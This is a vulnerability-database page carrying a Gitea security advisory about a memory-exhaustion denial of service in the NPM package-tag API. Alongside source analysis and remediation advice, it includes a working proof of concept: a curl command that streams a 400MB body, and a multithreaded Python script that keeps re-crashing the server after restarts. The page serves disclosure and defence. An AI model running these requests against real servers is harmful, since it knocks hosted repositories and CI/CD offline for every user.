Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Network-accessible endpoint requires only a low-privilege authenticated account; single oversized request crashes the entire Go server process, yielding A:H with no confidentiality or integrity impact.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
2DescriptionCVE.org
Summary
An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.
Details
The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
version := strings.Trim(string(body), "\"")
// ...
}This route is registered at routers/api/packages/api.go:433:
r.Group("/-/package/{id}/dist-tags", func() {
// ...
r.Group("/{tag}", func() {
r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
r.Delete("", npm.DeletePackageTag)
})
})Why this causes OOM and not just a slow request:
In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.
No server-side size limits apply to this endpoint:
Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
const noLimit = "-1"
value := section.Key(key).MustString(noLimit) // defaults to "-1"
if value == noLimit {
return -1
}Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().
The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk
// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limitAccess requirements:
- The route requires
reqPackageAccess(perm.AccessModeWrite) - Any user has write access to their own package namespace (
services/context/package.go:155-157):
if doer.ID == pkgOwner.ID {
accessMode = perm.AccessModeOwner
}- No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343:
body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reachedPoC
Tested Environment:
- Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)
Prerequisites: Set up test environment
# docker-compose.yml
version: "3"
services:
gitea:
image: gitea/gitea:latest
container_name: gitea-dos-test
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__service__DISABLE_REGISTRATION=false
ports:
- "3000:3000"
deploy:
resources:
limits:
memory: 512Mdocker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)Step 1: Single request OOM crash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
-X PUT \
-H "Content-Type: application/json" \
--data-binary @- \
"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
--max-time 120Step 2: Verify server crash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)Step 3: Persistent DoS via concurrent requests (survives restart policies)
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools
payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)
def worker():
s = requests.Session()
while True:
n = next(i)
try:
s.put(
f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
data=payload,
auth=("user1", "A@12345678"),
timeout=120
)
except Exception:
pass
for _ in range(20):
threading.Thread(target=worker, daemon=True).start()
__import__('signal').pause()One 400MB upload triggers OOM kill
https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6
Crash loop after OOM with Docker restart policy
https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7
Observed result on Gitea 1.26.2:
- Server logs:
Received signal 15; terminating. - Container status:
Exited (0) - Server remains down until manual restart
- With
restart: always, server restarts but can be immediately re-killed
Impact
Who is impacted:
- All Gitea instances with the package registry enabled (enabled by default)
- Any authenticated user can crash the server (No admin privileges required)
- With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
- All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services
Attack characteristics:
- Single request is sufficient to crash the server
- No special payload: raw zeros work (no compression tricks needed)
- Persistent multiple requests can re-kill the server even after auto-restart
- Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)
AnalysisAI
Denial of service in Gitea's NPM package registry API allows any authenticated user to crash the entire server process with a single HTTP request by exploiting an unbounded io.ReadAll() call in the AddPackageTag handler. Gitea versions up to and including v1.26.2 are confirmed vulnerable, with the fix shipped in v1.27.0. Because self-registration is enabled by default, external unauthenticated attackers can register a free account and immediately exploit this to take down all Gitea-hosted services including repositories, CI/CD pipelines, and issue tracking; a detailed proof-of-concept with video evidence is publicly available in the advisory.
Technical ContextAI
The vulnerability resides in routers/api/packages/npm/npm.go within the AddPackageTag function, which handles HTTP PUT requests to the /-/package/{id}/dist-tags/{tag} route of Gitea's built-in NPM package registry. The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling): Go's io.ReadAll() builds a dynamically growing []byte with no upper bound on allocation. When a request body exceeds available system RAM, the Go runtime's reallocation attempt fails and triggers an unrecoverable runtime.throw("out of memory") that kills the entire server process - not just the handling goroutine. Gitea's existing per-type upload limits (e.g., LIMIT_SIZE_NPM in modules/setting/packages.go) and the 32MB HashedBuffer that safely spills package uploads to disk are completely bypassed for this endpoint; AddPackageTag reads the body directly before any package lookup occurs at line 343. The affected package identifier is pkg:go/code.gitea.io/gitea.
RemediationAI
Upgrade to Gitea v1.27.0, the vendor-confirmed fixed release per GHSA-wwqq-x6w4-frm2 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2). If immediate upgrade is not feasible, disable the entire package registry by setting [packages] ENABLED = false in the Gitea configuration - note this removes all package registry functionality (Go, PyPI, Docker, Maven, etc.), not just NPM, which may disrupt CI/CD pipelines. As a partial mitigation, disable self-registration ([service] DISABLE_REGISTRATION = true) to prevent unauthenticated external actors from obtaining exploit credentials; this does not protect against attacks by existing authenticated users. Deploying a reverse proxy such as nginx in front of Gitea with client_max_body_size set to a small limit (e.g., 10m for the dist-tag endpoint) would cap request body size at the network edge and prevent the OOM condition while preserving functionality, though this requires careful path-specific configuration to avoid blocking legitimate large package uploads on other endpoints.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58135
GHSA-wwqq-x6w4-frm2